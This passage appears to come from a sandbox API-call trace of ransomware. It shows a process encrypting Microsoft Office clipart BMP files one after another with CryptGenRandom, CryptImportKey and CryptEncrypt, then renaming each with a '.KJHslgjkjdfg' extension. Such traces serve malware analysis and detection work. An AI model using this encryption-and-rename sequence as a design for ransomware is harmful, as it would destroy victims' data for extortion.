(in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.315] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.315] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.315] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.315] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.316] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.316] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.316] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.316] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0198.317] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0) returned 1 [0198.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.317] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7ce0, lpOverlapped=0x0) returned 1 [0198.317] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.317] SetEndOfFile (hFile=0x130) returned 1 [0198.320] GetProcessHeap () returned 0x2ef0000 [0198.320] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.320] GetProcessHeap () returned 0x2ef0000 [0198.320] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.320] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.kjhslgjkjdfg")) returned 1 [0198.321] CloseHandle (hObject=0x130) returned 1 [0198.321] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaed29200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaed29200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101860.BMP", cAlternateFileName="")) returned 1 [0198.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.321] GetProcessHeap () returned 0x2ef0000 [0198.321] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.321] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.321] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.321] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.323] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.323] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.323] GetProcessHeap () returned 0x2ef0000 [0198.323] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.323] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.323] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.323] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.323] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.324] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.324] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.324] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.324] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.324] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.324] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.324] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.324] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7db8, lpOverlapped=0x0) returned 1 [0198.325] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0) returned 1 [0198.325] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.325] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7dc0, lpOverlapped=0x0) returned 1 [0198.326] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.326] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.326] SetEndOfFile (hFile=0x130) returned 1 [0198.328] GetProcessHeap () returned 0x2ef0000 [0198.328] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.328] GetProcessHeap () returned 0x2ef0000 [0198.328] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.328] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.kjhslgjkjdfg")) returned 1 [0198.329] CloseHandle (hObject=0x130) returned 1 [0198.329] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2661900, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2661900, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101861.BMP", cAlternateFileName="")) returned 1 [0198.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.330] GetProcessHeap () returned 0x2ef0000 [0198.330] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.330] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.331] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.391] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.391] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.391] GetProcessHeap () returned 0x2ef0000 [0198.391] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.391] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.391] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.391] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.391] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.391] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.391] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.391] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.391] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.391] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.391] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7db8, lpOverlapped=0x0) returned 1 [0198.392] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0) returned 1 [0198.393] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.393] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7dc0, lpOverlapped=0x0) returned 1 [0198.393] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.393] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.393] SetEndOfFile (hFile=0x130) returned 1 [0198.396] GetProcessHeap () returned 0x2ef0000 [0198.396] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.396] GetProcessHeap () returned 0x2ef0000 [0198.396] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.396] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.kjhslgjkjdfg")) returned 1 [0198.397] CloseHandle (hObject=0x130) returned 1 [0198.397] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5f9a000, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5f9a000, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101862.BMP", cAlternateFileName="")) returned 1 [0198.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.398] GetProcessHeap () returned 0x2ef0000 [0198.398] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.398] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.398] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.400] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.400] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.400] GetProcessHeap () returned 0x2ef0000 [0198.400] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.400] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.400] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.400] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.400] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.400] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.401] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.401] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.401] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.401] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.401] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.401] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.401] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7db8, lpOverlapped=0x0) returned 1 [0198.402] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0) returned 1 [0198.402] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.402] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7dc0, lpOverlapped=0x0) returned 1 [0198.403] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.403] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.403] SetEndOfFile (hFile=0x130) returned 1 [0198.405] GetProcessHeap () returned 0x2ef0000 [0198.405] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.405] GetProcessHeap () returned 0x2ef0000 [0198.405] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.405] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.kjhslgjkjdfg")) returned 1 [0198.406] CloseHandle (hObject=0x130) returned 1 [0198.406] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1e56200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1e56200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101863.BMP", cAlternateFileName="")) returned 1 [0198.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.407] GetProcessHeap () returned 0x2ef0000 [0198.407] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.407] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.407] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.407] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.409] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.409] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.409] GetProcessHeap () returned 0x2ef0000 [0198.409] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.409] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.409] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.409] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.410] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.410] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.410] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.410] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.410] WriteFile (in: hFile=0x130, 